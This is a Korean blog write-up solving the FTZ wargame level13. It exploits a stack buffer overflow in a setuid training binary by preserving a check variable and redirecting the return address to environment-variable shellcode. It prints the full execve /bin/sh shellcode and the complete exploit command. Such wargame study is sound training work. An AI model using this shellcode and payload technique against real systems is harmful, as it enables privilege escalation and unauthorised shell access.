보안 공부하는 꼬깔이

FTZ level13 풀이

 

 

 

level13 의 홈디렉토리 내용이다. 이번에도 attack me 프로그램이 존재한다.

 

attackme 프로그램에는 level14의 권한으로 setuid가 걸려 있다.

 

hint 파일을 확인해보자

 

 

hint 파일에 c 소스코드가 들어있다. 해석해보자

 

 

 

코드 해석 내용을 참조하면 i 변수를 이용해 버퍼 오버 플로우 공격 여부를 검사하는 것 같다. 그래서 페이로드 작성시 중간에 변수 i 부분을 다시 0x1234567 값으로 변조하는 페이로드를 작성해야 할 것 같다.

 

어떤 식으로 문제를 해결할지 생각해보자

1 : buf[1024]~ 변수 i 까지의 거리, 변수 i ~ ret 까지의 거리

2 : 환경 변수에 쉘코드를 등록하고 주소 확인

3 : ret위치의 데이터를 쉘코드 주소로 변조시키는 페이로드 작성

 

 

먼저 buf[1024] ~ 변수 i 까지의 거리와 변수 i~ ret 까지의 거리를 알아보자

 

디버깅을 위해 attackme 파일을 tmp/ 디렉터리로 이동

 

 

 0x080484d6 <main+54>:   lea    eax,[ebp-1048] 해당 부분을 확인하면 buf 에서 ebp 까지의 거리를 구할 수 있다.

 

buf 에서 ebp 까지의 거리 = 1048

 

buf 에서 ret 까지의 거리 = 1052(1048+4Byte) 

 

0x080484e5 <main+69>:   cmp    DWORD PTR [ebp-12],0x1234567 해당 부분은 if문에서 변수 i 와 0x1234567를 비교하는 부분이다.

 

i 에서 ebp 까지의 거리 = 12
 

i 에서 ret 까지의 거리 = 16

 

최종적으로 buf 에서 i 까지의 거리는 (buf에서 ret까지의 거리) - (i에서 ret 까지의 거리) = 1052 - 16 = 1036

i변수의 끝에서 ret 까지의 거리 = (i에서 ret까지의 거리) - i의 크기(long형은 4Byte) = 16 - 4 =12

 

 

이제 쉘코드 주소를 환경 변수에 등록하자

 

<SHELL CODE>

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

 

그리고 쉘코드의 주소를 알아오기 위해 간단한 c소스코드를 작성후 실행해 주소를 얻도록 하자

 

 

 

 

쉘 코드의 주소 = 0xbffffef6

 

 

본격적으로 페이로드를 작성해보자.

 

페이로드는 [buf에서 i까지의 거리] + [i값] + [i변수의 끝에서 ret까지의 거리] + [쉘코드 주소] 이런식으로 작성 할 것이다.

 

최종적으로 페이로드는 ./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\xf6\xfe\xff\xbf"'`

 

 

페이로드를 실행하면 성공적으로 쉘을 획득하게 되고 my-pass 명령어로 level14 패스워드 출력!

 

level13 claer ~

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level15 풀이  (0) 2017.07.04
FTZ level14 풀이  (0) 2017.07.04
FTZ level12 풀이  (1) 2017.07.04
FTZ level11 풀이  (0) 2017.07.04
FTZ level10 풀이  (0) 2017.06.30